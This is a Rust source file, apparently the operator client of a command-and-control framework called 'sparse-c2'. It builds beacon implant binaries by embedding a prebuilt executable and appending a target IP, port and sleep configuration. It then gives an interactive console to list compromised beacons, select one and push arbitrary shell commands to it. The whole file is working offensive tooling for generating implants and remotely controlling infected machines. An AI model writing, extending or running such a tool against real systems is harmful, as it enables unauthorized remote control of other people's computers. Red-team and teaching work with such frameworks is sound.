use std::{
    self,
    io::{self, Write},
    net::{Ipv4Addr, SocketAddr},
};

use structopt::StructOpt;
use tokio::{
    io::{AsyncReadExt, AsyncWriteExt},
    net::TcpStream,
};

use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR};

#[cfg(debug_assertions)]
const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon");
#[cfg(not(debug_assertions))]
const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon");

#[derive(StructOpt)]
enum Command {
    Generate {
        #[structopt(short = "i", long)]
        target_ip: Ipv4Addr,

        #[structopt(short = "p", long)]
        target_port: u16,

        #[structopt(short = "o", long)]
        source_ip: Ipv4Addr,

        #[structopt(short = "s", long)]
        sleep_secs: u32,

        #[structopt(short = "n", long)]
        name: String,
    },
}

#[derive(StructOpt)]
struct Options {
    #[structopt(long, short)]
    address: SocketAddr,

    #[structopt(subcommand)]
    command: Option<Command>,
}

async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> {
    let cmd = serde_json::to_vec(&ClientCommand::GetState)?;

    client.write(&cmd).await?;

    let mut buf = [0u8; 8192];
    let len = client.read_u32().await? as usize;
    client.read(&mut buf[..len]).await?;

    let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?;

    println!("Commands issued:");
    for command in commands {
        match command.beacon_id {
            Some(beacon) => println!(
                "\t[id {}] (targets: {}): {}",
                command.command_id.0, beacon.0, command.command
            ),
            None => println!(
                "\t[id {}] (targets: all): {}",
                command.command_id.0, command.command
            ),
        }
    }

    println!("\nBeacons:");
    for beacon in beacons {
        print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port);

        match beacon.last_connection {
            Some(ci) => print!("last checked in {ci}; "),
            None => print!("has not checked in; "),
        };

        if beacon.done_commands.is_empty() {
            println!("no commands executed");
        } else {
            println!("{} commands executed", beacon.done_commands.len());
            for cmd in beacon.done_commands {
                println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1);
            }
        }
    }

    Ok(())
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let options = Options::from_args();

    let mut client = TcpStream::connect(options.address).await?;

    match &options.command {
        Some(Command::Generate {
            target_ip,
            target_port,
            source_ip,
            sleep_secs,
            name,
        }) => {
            let mut file = tokio::fs::OpenOptions::default()
                .write(true)
                .create(true)
                .mode(0o755)
                .open(name)
                .await?;

            file.write_all(BEACON).await?;
            file.write_all(CONF_SEPARATOR).await?;

            let conf = serde_json::to_vec(&BeaconOptions {
                sleep_secs: *sleep_secs,
                target_ip: *target_ip,
                source_ip: *source_ip,
                target_port: *target_port,
            })?;
            file.write_all(&conf).await?;

            let listen =
                serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?;

            client.write_all(&listen).await?;
        }
        None => {
            let stdin = io::stdin();
            let mut stdout = io::stdout();
            let mut selected_beacon: Option<BeaconId> = None;

            loop {
                let mut buffer = String::new();
                match selected_beacon {
                    Some(ref bid) => print!("{} > ", bid.0),
                    None => print!("> "),
                };
                stdout.flush()?;
                stdin.read_line(&mut buffer)?;

                let mut items = buffer.trim().split(' ');
                let cmd = items.next();

                match cmd {
                    None | Some("") => {
                        eprintln!("Please enter a command!")
                    }
                    Some("list") => {
                        list_state(&mut client).await?;
                    }
                    Some("select") => {
                        let beacon = items.next();
                        selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId);
                    }
                    Some("cmd") => {
                        let parts = items.collect::<Vec<_>>();
                        let cmd = parts.join(" ");

                        let cmd = serde_json::to_vec(&ClientCommand::SendCommand(
                            selected_beacon.clone(),
                            cmd,
                        ))?;

                        client.write(&cmd).await?;
                        let _ = client.read_u32().await?;
                    }
                    Some(other) => {
                        eprintln!("Unknown command: {other}");
                    }
                }
            }
        }
    }

    Ok(())
}